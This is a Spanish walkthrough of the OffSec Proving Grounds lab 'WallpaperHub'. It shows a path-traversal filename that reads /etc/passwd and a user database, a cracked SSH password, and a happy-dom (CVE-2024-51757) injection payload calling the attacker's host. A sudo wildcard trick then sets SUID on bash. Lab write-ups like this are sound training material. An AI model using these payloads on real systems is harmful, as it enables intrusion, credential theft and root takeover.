WallpaperHub

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Intermediate | - | OffSec |
Introducción
¡Hola Hacker! Bienvenido a una nueva resolución.
En esta ocasión, estaremos resolviendo la máquina WallpaperHub de la plataforma Proving Grounds Practice.
En esta máquina aprovechamos en primera instancia una subida de archivos arbitrarios, para luego realizar un LFI (Local File Inclusion). Con el LFI accedemos a una base de datos SQLite que contiene las credenciales de un usuario con acceso SSH, las cuales usamos para autenticarnos en la máquina. Finalmente, para escalar privilegios explotamos una vulnerabilidad en el paquete npm happy-dom
que permite inyección arbitraria de comandos, consiguiendo así escalar privilegios.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sS -sCV -p- --open -Pn -n --min-rate 5000 -oN servicesScan 192.168.143.204
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 19:35 -03
Nmap scan report for 192.168.143.204
Host is up (0.32s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
5000/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.1 Python/3.12.3
|_http-title: Wallpaper Hub - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.74 seconds
Explotación inicial
HTTP (80)
Si ingresamos al puerto 80, nos encontramos con la página por defecto de una instancia de Apache y nada interesante que podamos explotar.
HTTP (5000)
Bajo el puerto 5000, nos encontramos con el siguiente sitio web:
A través de este sitio, los usuarios pueden compartir sus wallpapers, para lo cual es necesario estar registrados.
Nos registramos e iniciamos sesión.
Iniciamos sesión
Una vez iniciamos sesión, somos redireccionados al siguiente Dashboard, donde contamos con varias secciones, entre ellas, el apartado de Upload Wallpaper donde podemos subir nuestro Wallpaper.
Subimos una imagen de prueba.
Luego, si accedemos a la sección de Explore Gallery vemos la imagen que acabamos de subir.
Para anlizar mejor la subida de archivos, podemos tramitar la petición por Burp Suite.
Enviamos la petición al Repeater
Modificamos el nombre de la imagen a ../../../../../../../../../../etc/passwd
para intentar leer este archivo.
Si vamos a la sección de /gallery y descargamos nuestra archivo, vemos que logramos leer con éxtio el archivo /etc/passwd
Volvemos a subir la imagen, pero esta vez indicando como archivo a leer el .bash_history
del usuario wp_hub
:
Leemos el .bash_history del usuario wp_hub
donde econtramos lo siguiente:
Cambiamos el nombre del archivo para indicar la ruta a la base de datos.
Descargamos nuevamente el archivo, en este caso la base de datos.
En la base de datos existe una tabla llamada users
y dentro de esta existen dos usuarios, nuestro usuario (elliot) y el usuario wp_hub
.
Rompemos el hash usando john.
Genial, obtenemos la contraseña del usuario wp_hub
.
wp_hub:qazwsxedc
Nos conectamos por SSH usando estas credenciales.
Leemos el flag de local.txt.
Elevación de privilegios
Realizamos una enumeración básica y nos encontramos que podemos ejecutar con sudo el siguiente script
Si miramos el binario que se esta ejecutando, notamos que es un enlace simbólico a un script hecho en Javascript /opt/scraper/scraper.js
.
#!/usr/bin/env node
const fs = require('fs');
const { Window } = require("happy-dom");
// Check if a file path is provided as a command-line argument
const filePath = process.argv[2];
if (!filePath) {
console.error('Please provide a file path as an argument.');
process.exit(1);
}
const window = new Window();
const document = window.document;
// Read the content of the provided file path
fs.readFile(filePath, 'utf-8', (err, data) => {
if (err) {
console.error(`Error reading file ${filePath}:`, err);
return;
}
// Use document.write() to add the content to the document
document.write(data);
// Log all external imports (scripts, stylesheets, meta tags)
const links = document.querySelectorAll('link');
const scripts = document.querySelectorAll('script');
const metaTags = document.querySelectorAll('meta');
console.log('----------------------------');
// Output the links (CSS imports)
console.log('CSS Links:');
links.forEach(link => {
console.log(link.href);
});
console.log('----------------------------');
// Output the scripts (JS imports)
console.log('JavaScript Links:');
scripts.forEach(script => {
if (script.src) {
console.log(script.src);
} else {
console.log('Inline script found.');
}
});
console.log('----------------------------');
// Output the meta tags (for metadata)
console.log('Meta Tags:');
metaTags.forEach(meta => {
console.log(`Name: ${meta.name}, Content: ${meta.content}`);
});
console.log('----------------------------');
});
El script, esta usando una libreria externa llamada happy-dom
. happy-dom, es una implementación de Javascript de un navegador web sin su interfaz gráfica de usuario, es decir, una herramienta para web scraping.
Si realizamos un busqueda en internet, nos encontramos con que las versiones del paquete happy-dom
menores a 15.10.2 son vulnerables a Inyección Arbitraria de Comandos (Arbitrary Code Injection).
Esta vulnerabilidad esta identificada por el CVE CVE-2024-51757.
- https://www.wiz.io/vulnerability-database/cve/cve-2024-51757
- https://security.snyk.io/vuln/SNYK-JS-HAPPYDOM-8350065
Para explotar esta vulnerabilidad y escalar nuestros privilegios, haremos lo siguiente:
En primer lugar, creamos un script con el siguiente contenido y le asignamos permisos de ejecución:
echo "chmod u+s /bin/bash" > /tmp/pwn
chmod +x /tmp/pwn
Luego, creamos un fichero html con el siguiente contenido:
<script src="https://192.168.45.204:8000/'+require('child_process').execSync('/tmp/pwn')+'"></script>
A continuación, en nuestra máquina atacante creamos un simple servidor HTTP con Python.
Ejecutamos el script.
sudo -u root /usr/bin/web-scraper /root/web_src_downloaded/../../tmp/pwn.html
Prestar atención al nombre del fichero que pasamos como parámetro (/root/web_src_downloaded/../../tmp/pwn.html), estamos abusando del * (comodín) indicado en la sintaxis del fichero sudoers.
De esta manera, logramos que se asignen privilegios SUID en el binario bash.
Post Explotación
Nos movemos a root y obtenemos la flag de proof.txt.
De esta forma, llegamos al final del laboratorio.
¡Gracias por tu lectura!
¡Happy Hacking!